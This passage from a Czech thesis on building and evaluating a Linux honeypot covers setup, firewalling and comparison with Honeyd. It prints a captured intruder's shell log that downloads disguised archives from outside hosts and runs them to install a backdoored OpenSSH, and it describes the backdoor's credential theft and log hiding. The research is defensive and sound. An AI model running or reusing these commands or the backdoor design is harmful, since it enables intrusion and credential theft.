o distribuci  informací  generovaných  démonem  Auditd,  webový  server  Apache,  souborový  server 
Proftpd a démon pro vzdálený přístup Sshd. Následně byla nastavena IP adresa, maska, brána a dns 
server. Důležitá byla konfigurace ověřování pomocí PAM pro sshd, kde byl nastaveno použití dříve  
vytvořeného PAM modulu v jazyku Python. Z důvodu zvýšení zájmu útočníku byly nakonfigurovány 
pro ssh a ftp servery uvítací zprávy, informující o přítomnosti citlivých dat. Na honeypotu bylo také 
vytvořeno několik dalších uživatelských účtů a do jejich domovských adresářů nakopírována falešná 
data. Do složky webového serveru byl nahrán redakční systém Drupal modifikovaný pro použití sqlite,  
včetně několika falešných článků.
Také byly vytvořeny čtyři init skripty, které se spouští během startu systému. První skript se  
stará o přidání pravidel do démona Auditd. Ten dynamicky přidává pravidla pro sledování souborů ve 
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složkách /sbin, /usr/sbin, /bin, /usr/bin a /etc kvůli modifikaci.  Také přidává pravidla  pro sledování 
falešných  souborů  v  domovských  složkách  kvůli  přístupu.  Díky  tomuto  nastavení  je  tak  možné 
odhalit,  že  útočník  modifikoval  jednotlivé programy  či  konfiguraci  systému.  Sledování  souborů 
v domovských složkách zase může odhalit, že útočník má zájem o interní údaje. Dva další init skripty  
mají  na  starost  vytvoření  rour,  které  čtou nové záznamy z logů nástrojů aptitude,  apt-get  a  dpkg 
a zasílají je do syslogu. To umožní sledovat útočníkovo použití balíčkovacího systému. Poslední init  
skript obsahuje sadu pravidel pro iptables firewall. Tento firewall nijak neomezuje provoz, pouze umí  
detekovat  skenování  portů  na  honeypotu  a  zaslat  o  tom  zprávu  do  syslogu. Všechny  upravené 
konfigurační soubory, či vytvořené skripty jsou dostupné na DVD přiloženém k této práci.
4.5.3 Vyčistění systému
V  zájmu  co  nejmenší  velikosti  systému  byly  odstraněny  nepotřebné  balíčky:  netcat,  usbutils,  
manpages,  man-db,  logrotate,  linux-image-2.6.18-6-686,  linux-image-2.6-686,  ibc6-i686,  tasksel, 
tasksel-data, laptop-detect, installation-report, eject, ed, dselect, dmidecode, acpid, acpi, info a groff-
base. Následně byl nainstalován program Deborphan, který umí nalézt balíčky, které v systému nejsou 
potřebné  a  byly  nainstalovány  jako  závislosti  jiných  balíčku,  které  však  už  v  systému  nejsou. 
Odinstalace těchto balíčku byla provedena příkazem:
deborphan | xargs apt-get -y remove --purge
Poté byl Deborphan odinstalován. Dalším nástrojem, který byl pro vyčistění systému použit je 
Localepurge, který ze systému odstraní soubory s lokalizačními daty, přičemž ponechá pouze vybrané 
jazyky. Po použití byl nástroj Localepurge také odinstalován. Posledním krokem bylo odstranění cache 
balíčkovacího systému příkazy:
apt-get clean 
aptitude clean 
rm /var/cache/apt/pkgcache.bin
rm /var/cache/apt/srcpkgcache.bin
Po těchto úpravách byl systém honeypotu připraven k nasazení. Po všech uvedených úpravách  
systém honeypotu zabíral 192 MB.
4.6 Virtualizační nástroje
Protože  honeypot  bude  provozován  ve  formě  virtualizovaného  počítače,  je  třeba  zvolit  vhodný 
virtualizační nástroj, který bude použit. Virtualizace přináší možnost provozovat několik honeypotů na 
jednom fyzickém počítači a zjednodušuje jejich správu. Z hostitele může být sledován veškerý síťový 
tok virtuálních honeypotů, sbírány z nich logy a samozřejmě kontrolován a ovlivňován jejich stav.  
Kdykoli může být činnost virtuálního honeypotu okamžitě ukončena a obraz systémového disku, jenž 
tento virtuální honeypot používal, archivován spolu s logy pro pozdější analýzu. Vzápětí může být na 
jeho místě ihned spuštěn nový virtuální honeypot ve výchozí konfiguraci.
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V  současné  době  je  na  trhu  několik  virtualizačních  nástrojů  od  různých  dodavatelů.  Od 
komerčních placených,  přes komerční bezplatné až k open-source.  Pro možné nasazení honeypotu  
byly vybrány a otestovány tři řešení: QEMU + KVM, VMware Player a VirtualBox OSE.
4.6.1 QEMU + KVM
QEMU je open-source nástroj pro virtualizaci,  nebo emulaci počítače. Při emulaci je možno, díky 
dynamickému překladu, spouštět programy napsané pro jiné architektury. Naopak při virtualizaci se 
instrukce vykonávají přímo na procesoru hostitelského počítače. KVM je zkratka pro Kernel-based 
Virtual Machine. Jde virtualizační řešení pro Linux na procesory řady x86 s podporou virtualizace. 
KVM  je  stejně  jako  QEMU  open-source.  KVM  je  jaderný  modul,  který  staví  Linux  do  pozice  
hypervizora, čili  se stává hlavním arbitrem řídícím přístup k hardware. V současné době vyžaduje 
KVM pro svůj běh upravenou verzi QEMU.
Výhodou tohoto  řešení  je  jeho  otevřenost,  bezplatnost  a  také  dostupnost  Libvirt  API.  Díky 
tomuto API je možno efektivně tvořit  skripty pro správu činnosti  virtuálního počítače. Nevýhodou 
QEMU  +  KVM  je  jeho  provoz  na  procesorech  bez  podpory  virtualizace.  Pokud  totiž  procesor 
hardwarovou  virtualizaci  nepodporuje,  není  možné  jaderný  modul  KVM  použít  a výkon 
virtualizovaného počítače je velmi nízký. Z toho důvodu bylo od použití tohoto virtualizačního řešení  
upuštěno.
4.6.2 VMware Player
VMware  Player  je  bezplatný  virtualizační  nástroj  od  firmy VMware.  Společnost  Vmware,  kromě 
tohoto  nástroje,  nabízí  i  různá  podniková  řešení  virtualizace  pro  servery,  datová  centra  a cloudy. 
Společnost  je  také členem Linux Foundation a  VMware Player,  tak jako další  jejich produkty,  je 
dostupný i pro Linux.
Výhodou  je  bezplatnost  tohoto  řešení.  Nevýhodou,  plynoucí  z  faktu,  že  jde  o uzavřený 
proprietární software, je složitější instalace. Zatímco další dva, tady uvedené virtualizační nástroje, lze 
pohodlně nainstalovat přímo z repozitářů většiny nejrozšířenějších linuxových distribucí. V případě 
VMware je třeba využít dodávaného instalátoru. Naproti tomu velkou výhodou VMware Playeru je 
dobrý výkon virtualizovaného počítače i na procesorech bez podpory virtualizace. VMware také nabízí 
API pro správu virtuálních počítačů. Toto API se jmenuje VIX23 a kromě podpory jazyků C, Perl, 
Visual  Basic,  VBscript  a  C#,  poskytuje  i  programy  pro  ovládání  virtuálních  počítačů  přímo 
z příkazové řádky.
4.6.3 VirtualBox OSE
VirtualBox je virtualizační nástroj původně vyvinutý společností Innotek, později koupený firmou Sun 
Microsystems. Sun Microsystems byl později zase odkoupen společností Oracle Corporation a vývoj 
VirtualBoxu tedy v současnosti  spadá právě pod společnost Oracle. Přídomek OSE označuje open 
source edici VirtualBoxu, uvolněnou pod licencí GPL 2. 
Při testování se VirtualBox ukázal, jako nejvýhodnější kandidát. Příjemná je snadná instalace, 
23 http://www.vmware.com/support/developer/vix-api/  
28
konfigurace  i  uživatelsky  přívětivé  grafické  rozhraní.  Dobrý  výkon  virtualizovaného  systému  na 
procesoru  bez  podpory  virtualizace  a  přítomnost  nástrojů24 pro  správu virtuálních  počítačů  přímo 
z příkazové  řádky,  jsou  největší  výhody  VirtualBoxu.  Zmíněné  nástroje  příkazové  řádky,  patří  
k alternativním rozhraním VirtualBoxu a umožňují úplnou kontrolu virtuálních počítačů, včetně jejich 
vytváření. Tyto nástroje jsou dostupné přímo v základní instalaci a není třeba je instalovat dodatečně. 
Možnost  správy virtuálního počítače pomocí nástrojů pro příkazový řádek,  spolu s  jejich kvalitní 
dokumentací  na  oficiálních  stránkách a  celkový dobrý výkon tohoto virtualizačního  nástroje  byly 
hlavními důvody, proč byl VirtualBox zvolen pro nasazení honeypotu.
4.7 Příprava hostitelského počítače (bastion)
Označení bastion se používá pro počítač na síti, který je dostupný z internetu a je nakonfigurovaný tak, 
aby odolal útokům. Dále v této práci takto budeme označovat hostitelský počítač, který bude přímo 
dostupný z internetu a bude provozovat virtuální honeypot. 
Tento bastion bude mít spuštěno pouze minimum služeb a do internetu bude poskytovat pouze 
jeden otevřený port pro ssh. Ssh démon bude naslouchat na portu číslo 4722 namísto obvyklého 22. 
Navíc bude tento port ve výchozím stavu uzavřen a pro jeho otevření  bude třeba použít  techniku  
klepání na porty. Klient, který se bude chtít na tento port připojit,  se bude muset nejdříve pokusit 
připojit na porty 4722, 4721 a 4723. Po této sekvenci, se port 4722 na pět vteřin otevře a umožní tak 
připojení klienta k ssh serveru.
Na bastionu bude nainstalováno pouze minimum programů a knihoven. Kromě standardních 
programů, tam bude navíc pouze program Tcpdump, IDS Snort a VirtualBox. Jako syslog server bude 
použit Syslog-ng, který umožňuje pohodlnou konfiguraci zdrojů, cílů a filtrů pro syslog zprávy.
Syslog  bude  nakonfigurovaný  tak,  aby  přijímal  zprávy  ze  sítě.  Přičemž  nebude  nastaveno 
omezení pro zdrojovou adresu, takže zprávy mohou být přijímány z libovolné adresy. Případné zprávy 
z jiných adres, budou totiž filtrovány na úrovni firewallu vytvořeného pomocí iptables, o kterém se  
bude mluvit dále v této kapitole. V konfiguraci syslogu bude nastaveno několik filtrů a cílů, tak aby 
byly logy uspořádány logicky do několika souborů podle své příslušnosti.  S tímto nastavením tak 
budou zvlášť ukládány záznamy zaslané z Grsecurity, zvlášť zprávy z Auditd a tak dále.
4.7.1 Skript pro spuštění honeypotu
Pro  maximální  zjednodušení  nasazení  honeypotu  byl  vytvořen  skript  v  Bashi,  který  se  postará 
o spuštění, monitoring, ukončení a sesbírání logů honeypotu.
V  první  fázi  tento  skript  zkontroluje  a  případně  vytvoří  ve  VirtualBoxu  virtuální  počítač 
s vhodnou hardwarovou konfigurací a jménem „honeypot“. U virtuálního počítače je zejména třeba,  
aby pro pevný disk využíval SCSI řadič, namísto standardního SATA. Při použití SATA řadiče se totiž 
objevil problém se startem jádra s aplikovaným patchem Grsecurity. Dále v tomto kroku skript vytvoří 
složku pro spouštěný honeypot a naklonuje do ní pevný disk honeypotu ve výchozím stavu. Ten pak 
ještě připojí jej do virtuálního počítače a tento virtuální počítač spustí.
Druhá  fáze  zahrnuje  spuštění  skriptu  s  pravidly  firewallu.  V této  fázi  se  pomocí  iptables  
nakonfiguruje firewall tak, že veškerý síťový provoz směřující na Bastion hosta bude přesměrován do 
24 http://www.virtualbox.org/manual/ch08.html  
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honeypotu  a  naopak provoz  odcházející  z  honeypotu  bude  upraven tak,  aby  vypadal,  že  pochází 
z Bastion  hosta.  Ve  firewallu  je  také  nastavena  výjimka  pro  porty  4722,  4721,  4723,  které  do 
honeypotu přesměrovány nejsou. Tyto porty tedy obsluhuje Bastion host a slouží ke klepání na porty 
a pro ssh server na Bastionu. Firewall obsahuje i pravidla omezující pakety odcházející z honeypotu. 
Tyto pravidla povolují se z honeypotu připojovat pouze na porty služeb POP3, IMAP, HTTP a HTTPS. 
Jiné porty nejsou dovoleny, takže nehrozí například riziko rozesílání spamu pomocí protokolu SMTP. 
Také je tím pádem eliminována možnost, že by útočník mohl využít kompromitovaného honeypotu 
pro  útoky  hrubou  silou  na  služby  jako  SSH či  TELNET.  Nakonec  obsahuje  firewall  i  pravidla,  
zabraňující masivnímu skenování portů a DOS útoku z kompromitovaného honeypotu. Firewall totiž 
povoluje pouze omezené množství paketů s určitými příznaky za sekundu. Mezi pakety, na které se 
toto omezení stahuje, jsou například pakety s nastaveným příznakem SYN, které slouží k otevření  
nových spojení. Nezbytnou konfiguraci je možné provést pomocí několika konstant na začátku skriptu 
s  firewallem.  Nejdůležitějšími  konstantami  jsou  ty,  které  obsahují  síťové  rozhraní  připojené  do 
internetu a jeho IP adresu tak, aby firewall věděl, které pakety mají být přesměrované do honeypotu.
Po aplikaci pravidel firewallu je spuštěn program Tcpdump, který kromě paketů se zprávami 
syslog  serveru  zachytává  veškerý  síťový  provoz  honeypotu.  Hned  po  Tcpdump je  spuštěn  i IDS 
systém Snort, který monitoruje síťový provoz a zaznamenává detekované útoky.
Po těchto krocích, skript vyčká nějakou dobu než honeypot nastartuje a pak začíná vykonávat  
nekonečnou  smyčku.  V této  nekonečné  smyčce  skript  sleduje  informace  o  honeypotu  a  případně 
reaguje.  Jsou sledovány časy příchodu posledních syslog zprávy a v případě, že delší dobu nedojde 
žádná zpráva, předpokládá, že došlo zřejmě k vypnutí syslogu na honeypotu, či přímo vypnutí celého 
virtuálního počítače a nekonečná smyčka se přeruší. Dále je sledována velikost souboru generovaného 
Tcpdumpem, který obsahující zachycený síťový provoz. V případě, že tato velikost přesáhne 10MB,  
dojde také k ukončení nekonečné smyčky. Poslední sledovanou veličinou je celková velikost souborů 
s logy. V případě, že přesáhne 40MB, dojde opět k ukončení nekonečné smyčky.
Po ukončení  nekonečné smyčky začne skript  postupně vše vypínat.  Virtuálnímu počítači  se 
pošle příkaz k bezprostřednímu vypnutí, pevný disk honeypotu je odpojen a odregistrován z databáze 
VirtualBoxu.  Následně  se  ukončí  i  Tcpdump, Snort a  soubory  se  záznamy  ze  syslogu  jsou 
nakopírovány do složky s honeypotu.
Po ukončení skriptu tedy máme složku obsahující pevný disk virtuálního honeypotu, soubor se 
záznamem síťové  komunikace  vytvořený  programem Tcpdump,  záznamy z  IDS Snort a záznamy 
syslogu z honeypotu.
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5 Experimenty a srovnání s Honeyd
V této kapitole budou popsány experimenty s vytvořeným honeypotem. U experimentů bude popsáno 
v  čem spočíval,  co  se  od  něj  očekávalo  a  následně  prezentovány  jeho  výsledky.  U jednotlivých 
experimentů, kde je to vhodné a možné, bude provedeno srovnání vytvořeného honeypotu s nástrojem 
Honeyd.
5.1 Konfigurace honeypotů při experimentech
5.1.1 Konfigurace vytvořeného honeypotu
Při nasazování vytvořeného honeypotu, byla použita nezměněná výchozí konfigurace.
5.1.2 Konfigurace Honeyd
Při experimentech s Honeyd, byl použit konfigurační soubor s obsahem:
create host 
set host personality "Linux 2.4.7 (X86)" 
set host default tcp action reset 
set host default udp action block 
set host default icmp action open 
add host tcp port 21 "/usr/share/honeyd/scripts/suse8.0/proftpd.sh 
$ipsrc $sport $ipdst $dport" 
add host tcp port 22 "/usr/share/honeyd/scripts/suse8.0/ssh.sh $ipsrc 
$sport $ipdst $dport" 
add host tcp port 80 "/usr/share/honeyd/scripts/suse8.0/apache.sh 
$ipsrc $sport $ipdst $dport" 
bind 188.75.184.241 host
Ten vytvořil  jeden  virtuální  počítač  s  operačním systémem Linux s  jádrem 2.4.7.  Tento  virtuální 
počítač  provozoval  služby ssh,  ftp  a  www.  Tedy  stejné  služby jako vytvořený honeypot. Skripty 
k simulaci jednotlivých služeb, lze získat na: http://www.citi.umich.edu/u/provos/honeyd/contrib.html. 
5.2 Vystavení do Internetu – vytvořený honeypot
Při  tomto  experimentu byl  vytvořený honeypot vystaven do internetu na veřejné IP adrese.  Cílem 
tohoto  pokusu  bylo  zachytit  reálný  síťový  útok,  pokusit  se  ho  zmapovat  a  získat  tak  informace 
o průběhu útoku. Dalším z cílů bylo vytvořit statistiku uživatelských jmen a hesel, které se útočníci  
nejčastěji pokoušejí využít při slovníkových útocích, nebo útocích hrubou silou proti službě ssh.
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5.2.1 Zachycený síťový útok
Dále  popsaný  síťový  útok  se  podařilo  zachytit  dne  7.března  2011.  Šlo  o  útok  z  IP  adresy 
172.190.21.102 s hostname ACBE1566.ipt.aol.com. Jde o IP adresu ze Spojených států amerických, 
kterou lze v současnosti  (3. dubna 2011) nalézt  v blacklistech zen.spamhaus.org a dnsbl.sorbs.net, 
které evidují adresy rozesílající nevyžádanou poštu.
Průběh útoku
Celý  útok  začal v  19:42:43,  kdy  byl  zaznamenán  první  pokus  o  přihlášení  se  ke  službě  ssh  na 
superuživatelský účet „root“. Tento pokus o přihlášení byl podniknut z IP adresy 217.148.166.162. 
Tato  nizozemská  IP  adresa  má  hostname  mail01.topxs.nl  a  lze  tedy  usuzovat,  že  jde  o  server 
elektronické  pošty,  čemuž  ostatně  nasvědčuje  i  přihlašovací  obrazovka  u  webového  rozhraní 
dostupného  na  této  adrese.  Topxs.nl  je  podle  internetových  stránek  společnost  poskytující 
webhostingové služby. Z této adresy byly provedeny celkem čtyři pokusy o přihlášení. Přičemž, již  
třetí  pokus  provedený  v  19:42:49 s  heslem „MATAMATA“ byl,  díky  upravenému PAM modulu, 
úspěšný. Čtvrtý pokus byl opět neúspěšný. Tady lze předpokládat, že mohlo jít  buď o pokus odhalit 
případný  honeypot,  který  by  akceptoval  více  hesel.  Nebo,  v  případě  paralelního  nástroje  pro 
slovníkový útok, mohlo jít pouze o souběžný pokus, který byl proveden ještě dříve, než byl vrácen 
úspěch na předchozí heslo. Vzhledem ke krátkým intervalům mezi jednotlivými pokusy, je tato druhá 
možnost  velice pravděpodobná.  Ačkoli  bylo heslo odhaleno,  nebyla v systému ze strany útočníka 
podniknuta žádná akce.
Další  fáze  útoku  začala  v  19:46:53  a  byla  vedena  z již zmíněné  americké  IP  adresy 
172.190.21.102.  Z  této  adresy  byl  nejprve  zaznamenán  neúspěšný  pokus  o  přihlášení  s  metodou 
autentizace „none“. Hned druhý pokus, ve kterém byla použita autentizace pomocí hesla, byl však 
úspěšný. Z tohoto lze usuzovat, že útočník skrytý za americkou IP adresou, měl znalost hesla, které 
bylo  odhaleno  pomocí  nizozemské  IP  adresy.  Ihned  po  úspěšném  přihlášení  začal  útočník 
s honeypotem interagovat. Výpis jeho příkazů zadaných do Bashe:
w
ls -la 
whereis sshd 
cd /tmp 
ls 
wget freewebtown.com/casperutz/ssh2.mp3 
tar zxvf ssh2.mp3 
rm -rf ssh2.mp3 
cd ssh 
sh inst 
cd ssh 
ls 
chmod 777 * 
sh inst 
gcc 
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apt-get install gcc 
gcc 
asterisk -r 
apt-get install make 
ls 
sh inst 
cd .. 
ls 
cd .. 
ls 
rm -rf ssh 
wget grauru.home.ro/ssh2.mp33 
wget grauru.home.ro/ssh2.mp3 
tar zxvf ssh2.mp3 
rm -rf ssh2.mp3 
apt-get install g++
Po  této  sérii  příkazů  byl  honeypot  ukončen  skriptem  kontrolujícím činnost  honeypotu. 
Důvodem byl fakt, že útočník přenesl více než povolených 10 MB dat. Nicméně data, maskovaná za 
soubor mp3 a stahovaná útočníkem byla získána. Rozbor těchto získaných dat bude proveden dále.
Analýza činnosti útočníka
Útočník  během  své  aktivity  stáhl  dva  soubory  freewebtown.com/casperutz/ssh2.mp3 
a grauru.home.ro/ssh2.mp3. Oba dva soubory byly ve skutečnosti komprimované tar.gz archivy. Oba 
dva obsahovaly modifikované zdrojové kódy Openssh serveru ve verzi 3.9p1. Modifikace spočívala ve 
vložení zadních vrátek do systému. Tyto zadní vrátka mají schopnost umožnit superuživatelský přístup 
do systému při zadaní přednastaveného hesla. Konfigurace těchto zadních vrátek musí být provedena 
v době kompilace a  proto se  útočník snažil  nainstalovat  z  repozitářů potřebné nástroje,  aby mohl  
provést kompilaci a instalaci. Tím by si zajistil pozdější bezproblémový přístup do kompromitovaného 
systému. Kromě toho tyto zadní vrátka umožňovala logovat určité údaje z ssh serveru a odesílat je na 
předkonfigurovanou emailovou adresu, která byla napevno vložena ve zdrojových kódech. Právě tato 
adresa byl jediný rozdíl mezi oběma verzemi zdrojových kódů, které útočník stáhl. V prvním souboru 
byla ve zdrojových kódech adresa „spam_root@yahoo.com“, zatímco ve druhém archivu byla adresa 
„vin0cumine@yahoo.com“. Mezi emailem odesílané údaje patří například dvojice uživatelské jméno 
a heslo,  při  každém úspěšném přihlášení  libovolného  uživatele  na  ssh  server.  V předmětu  těchto 
emailových zpráv byl využit název jádra a hostname.
Po  detailnější  analýze  zdrojových  kódů  se  podařilo  odhalit  další  funkce  zadních  vrátek, 
v případě, že jsou aktivní. K aktivaci dojde při vložení předkonfigurovaného hesla při přihlašování 
libovolného uživatele. Mezi funkce, které pak zadní vrátka poskytují patří to, že při vytváření nového 
sezení (session) nevkládá do názvu procesu uživatelské jméno, zavináč a hostname. Namísto toho 
nastaví název procesu na prázdný řetězec. Dále automatické nastavení proměnné prostředí HISTFILE 
na /dev/null, čímž se zamezí standardnímu ukládání historie Bashe. Neméně zajímavá je vlastnost, že 
zadní vrátka zamezí nastavení GID a UID vytvořeného procesu na hodnoty odpovídající přihlášenému 
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uživateli.  Díky  tomuto  zůstane  spuštěné sezení s  právy  superuživatele.  Aktivní  backdoor  také 
zablokuje zvýšení úrovně pro logování zpráv z sshd a na některých místech odeslaní zpráv do syslogu 
úplně  vynechá.  Také  způsobí,  že  se  ignoruje  konfigurační  položka  ssh  serveru,  které  zakazuje  
přihlášení superuživatele „root“. Stejně tak způsobí ignorování souboru „DenyUsers“, který obsahuje 
uživatele, kteří nemají povoleno se přihlásit přes ssh. Toto je velice nebezpečné, protože to umožní  
přihlašování  na  uživatelské  účty  jako  jsou  ftp,  www-data  a  další,  které  nejsou  pro  ssh  přístup  
zamýšleny.
Ve  zdrojových  kódech  však  není  modifikovaný  pouze  ssh  server,  ale  také  ssh  klient.  Tato 
modifikace je poměrně jednoduchá a má jednu jedinou funkci a to v případě úspěšného přihlášení na  
vzdálený server  odeslat  přihlašovací  údaje  na emailovou adresu útočníka.  Předmět  zprávy by byl 
nastaven na „New Servers“. Díky tomu může útočník získávat další a další přihlašovací údaje na další  
a další servery.
5.2.2 Statistika používaných hesel při útocích na ssh
Za dobu co byl  Honeypot provozován,  se podařilo na ssh serveru zachytit  několik stovek pokusů 
o uhádnutí  uživatelského jména a hesla.  Díky upravenému autentizačnímu PAM modulu byly tyto 
pokusy zaznamenány, včetně použitých uživatelských jmen a hesel. Z nasbíraných dat byla sestavena 
následující statistika:
Celkový počet pokusů o přihlášení: 646
Počet různých zkoušených uživatelských jmen: 46
Počet pokusů, kdy bylo heslo shodné s uživatelským jménem: 18
Nejčastěji zkoušený uživatel: "root" (570 pokusů)
Tři nejčastěji zkoušená hesla:
password (16 pokusů)
123456 (9 pokusů)
root (6 pokusů)
Seznam všech zkoušených uživatelů včetně počtu pokusů:
root - 570 oracle - 10 
mythtv - 6 test - 5 
nagios - 4 demo - 3 
bin - 3 qwerty - 2 
git - 2 aculina - 2 
admin - 2 globus - 2 
backup - 2 test1 - 1 
test3 - 1 test2 - 1 
test4 - 1 alehandro - 1 
abstract - 1 valentina - 1 
aleksandr - 1 carnivores - 1 
antonio - 1 carlo - 1 
aleksandra - 1 robert - 1 
achille - 1 irc - 1 
public - 1 albina - 1 
promo - 1 adelina - 1 
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stefano - 1 mario - 1 
uucp - 1 zxcvb - 1 
news - 1 donatella - 1 
akulina - 1 amanda - 1 
alesandro - 1 aleks - 1 
www-data - 1 adamo - 1 
massimo - 1 inter - 1 
Dalším zajímavým číslem je počet zkoušených hesel, která obsahovala uživatelské jméno jako 
prefix. Těchto pokusů bylo 64 a nejčastějším sufixem byl řetězec „123“. Celkově byla kombinace  
aktuální  uživatelské jméno plus řetězec „123“ použita ve 37 případech ze zmíněných 64  případů. 
Pokud z  celkových 646 pokusů o  přihlášení  vynecháme uživatelské  jméno „root“,  dostaneme 76 
pokusů o přihlášení, přičemž uživatelské jméno jako prefix v hesle bylo použito v 47 případech.
5.2.3 Zhodnocení experimentu
Tento experiment  byl úspěšný. Podařilo se vytvořit statistiku, útočníky používaných přihlašovacích 
údajů, i zachytit a zmapovat skutečný síťový útok. Výsledné statistiky hesel z tohoto experimentu by 
bylo možné uplatit  v politice uživatelských hesel.  V té by bylo vhodné zakázat  hesla,  která  mají 
uživatelské jméno jako prefix a zejména tedy taková, kde je sufixem řetězec „123“.
V případě  konkrétního popsaného  zachyceného útoku, by bylo možné, získané informace  ze 
zdrojových  kódů  využít  k  vytvoření  pravidel  pro  síťový  IDS.  Tato  pravidla  by  například  mohla 
kontrolovat předmět emailových zpráv.
5.3 Vystavení do internetu - Honeyd
Při tomto experimentu byl na veřejné IP adrese do internetu vystaven jeden virtuální počítač vytvořený 
nástrojem  Honeyd.  Cílem  experimentu  bylo  získat  informace  o  tom  co  vše  dokáže  Honeyd 
zaznamenat.
5.3.1 Zachycené útoky
V rámci  vystavení  Honeyd do internetu bylo  zachyceno několik  desítek  pokusů o připojování  se 
k různým obecně používaným portům a službám. Kromě připojování k simulovaným službám www, 
ftp a ssh, byly zaznamenány i pokusy o připojení na porty využívané službou smb.
5.3.2 Zhodnocení experimentu a porovnání obou honeypotů
Z nástroje Honeyd bylo možno získat  informace o provedených připojeních na honeypot,  seznam 
požadavků odeslaných na  webový server  a  seznam příkazů  odeslaných na  ftp  server.  O ssh  bylo 
možno zjistit pouze počty pokusů o připojení k ssh, vzhledem k faktu, že skript implementující ssh 
uměl klientovi pouze vrátit chybou zprávu.
Možnosti nástroje Honeyd jsou limitovány kvalitou skriptů, simulujících služby. Použité skripty 
simulovaly pouze část služeb, což umožňuje zachycení nanejvýš začátku útoku. Další části útoku totiž 
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selžou,  kvůli  tomu,  že  je  prakticky  nemožné  simulovat  naprosto  vše,  včetně  nezamýšlených 
bezpečnostních  chyb,  které  právě  útočníci  nejčastěji  využívají.  Naproti  tomu vytvořený  honeypot 
umožňuje  zachycení  celého  útoku  od  začátku  až  do  konce  a  to  včetně  záznamu  veškeré  síťové 
komunikace.
Oba nástroje je těžké porovnat z důvodu, že jde o rozdílné druhy honeypotů.  Honeyd je spíše 
zaměřen a nasazení  desítek,  stovek či  tisíců honeypotů,  které útočníka zdrží,  zmatou či  jeho útok 
naprosto  odvrátí.  Případně  je  vhodný  pro  zachycení  útoků  na  specifické  chyby  a  bezpečnostní 
nedostatky, pro které však musí být vytvořen speciální skript, který je bude vhodně simulovat. Naproti 
tomu vytvořený honeypot je vhodný pro nasazení v několika jednotkách, či desítkách exemplářů, kvůli 
hardwarové náročnosti, ale umožňuje sledování všech možných útoků proti linuxovému systému.
5.4 Experimenty s nástroji pro síťový audit a penetrační testování
V následujících experimentech  byly využity některé  z  nejrozšířenějších nástrojů  pro  bezpečnostní 
audit  sítě  a  pro  penetrační  testování.  Pomocí  těchto nástrojů  může síťový administrátor  otestovat 
zabezpečení systémů pod svou správou, proti různým obecně známým zranitelnostem.  Cílem těchto 
experimentů bylo ověření toho, že se honeypot opravdu bude jevit jako lákavý cíl pro toho kdo ho 
bude těmito nástroji kontrolovat. Druhým cílem bylo ověřit to, že honeypot dokáže podobnou aktivitu 
detekovat a zaznamenat.
5.4.1 Nmap
Nmap je open-source nástroj určený pro mapování sítě a její bezpečnostní audit.  Jde o skener portů, 
který však obsahuje mnoho pokročilých vlastností.  Mezi  tyto vlastností  patří  schopnost Nmapu se 
adaptovat k vlastnostem sítě, jako jsou odezva, či zahlcení a přizpůsobit tomu svou činnost. Užitečná 
je také schopnost identifikovat operační systém na cílových zařízeních. Jednou z největších předností 
Nmapu je  NSE (Nmap Scripting  Engine),  který  umožňuje  vytváření  skriptů  pro  další  analýzu  či 
interakci se skenovaným systémem. Díky takovýmto skriptům je pak Nmap schopen odhalit například 
verze provozovaných služeb na skenovaném počítači, přítomnost zadních vrátek v cílovém systému,  
získat  informace  z  databáze  WHOIS  a  další.  V  současné  době  (6. 4. 2011)  je  v online  databázi 
dostupných více jak 180 skriptů a 60 pomocných knihoven.
Popis experimentu
V rámci tohoto experimentu byl honeypot oskenován za pomoci zmíněného nástroje Nmap. Příkazem:
nmap -O -A -sV --script "ftp-proftpd-backdoor,http-enum,banner,ssh-
hostkey,http-php-version" honeypot
Tento příkaz spustí Nmap s povolenou detekcí cílového operačního systému a verzí běžících služeb, 
také  je  aktivováno  použití základních  skriptů  a použití  i několika  dalších  skriptů,  které  jsou 
v parametrech  vyjmenované.  Skript  Ftp-proftpd-backdoor  má za  cíl  detekci  ProFTPD  serveru  se 
zadními  vrátky.  Http-enum  zase  zkouší  populární  cesty  na  webových  serverech,  které  využívají 
některé webové aplikace. Banner zase umí získat uvítací zprávy služeb na serveru. Ssh-hostkey získá 
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otisk SSH klíče serveru. A poslední použitý skript Http-php-version má za úkol pokusit se získat verzi 
webového serveru.
Výstup z Nmapu – Vytvořený honeypot
Po vykonání výše uvedeného příkazu, vygeneroval Nmap zprávu o výsledcích auditu:
Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-07 15:20 CEST 
Nmap scan report for bastion (188.75.184.250) 
Host is up (0.0057s latency). 
Not shown: 997 closed ports 
PORT   STATE SERVICE VERSION 
21/tcp open  ftp     ProFTPD 
|_banner: 220-        *** W A R N I N G *** 
| ftp-proftpd-backdoor: 
|   This installation has been backdoored. 
|   Command: id 
|_  Results: uid=0(root) gid=0(root) groups=65534(nogroup) 
22/tcp open  ssh     OpenSSH 4.3 (protocol 2.0) 
|_banner: SSH-2.0-OpenSSH_4.3 
| ssh-hostkey: 1024 af:cb:7c:ea:c7:06:29:9c:9b:ce:e6:f7:94:d5:71:0f 
(DSA) 
|_2048 e0:54:be:ed:58:43:1b:78:de:42:2f:46:16:35:91:4f (RSA) 
80/tcp open  http    Apache httpd 2.2.3 ((Debian) PHP/5.2.0-8+etch16) 
| http-php-version: Versions from logo query (less accurate): 5.1.3 - 
5.1.6, 5.2.0 – 5.2.17
 | Versions from credits query (more accurate): 5.2.0 
|_Version from header x-powered-by: PHP/5.2.0-8+etch16 
| http-enum: 
|   /robots.txt: Robots file 
|   /cron/: Potentially interesting folder 
|   /icons/: Potentially interesting directory w/ listing on 
'apache/2.2.3 (debian) php/5.2.0-8+etch16' 
|   /includes/: Potentially interesting directory w/ listing on 
'apache/2.2.3 (debian) php/5.2.0-8+etch16' 
|   /index/: Potentially interesting folder 
|   /install/: Potentially interesting folder 
|   /misc/: Potentially interesting directory w/ listing on 
'apache/2.2.3 (debian) php/5.2.0-8+etch16' 
|   /modules/: Potentially interesting directory w/ listing on 
'apache/2.2.3 (debian) php/5.2.0-8+etch16' 
|   /scripts/: Potentially interesting directory w/ listing on 
'apache/2.2.3 (debian) php/5.2.0-8+etch16' 
|   /sites/: Potentially interesting directory w/ listing on 
'apache/2.2.3 (debian) php/5.2.0-8+etch16' 
|_  /themes/: Potentially interesting directory w/ listing on 
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'apache/2.2.3 (debian) php/5.2.0-8+etch16' 
Device type: general purpose 
Running: Linux 2.6.X 
OS details: Linux 2.6.15 – 2.6.27 
Network Distance: 2 hops
Jak je z uvedené zprávy patrné, Nmap správně identifikoval všechny tři spuštěné služby a jejich 
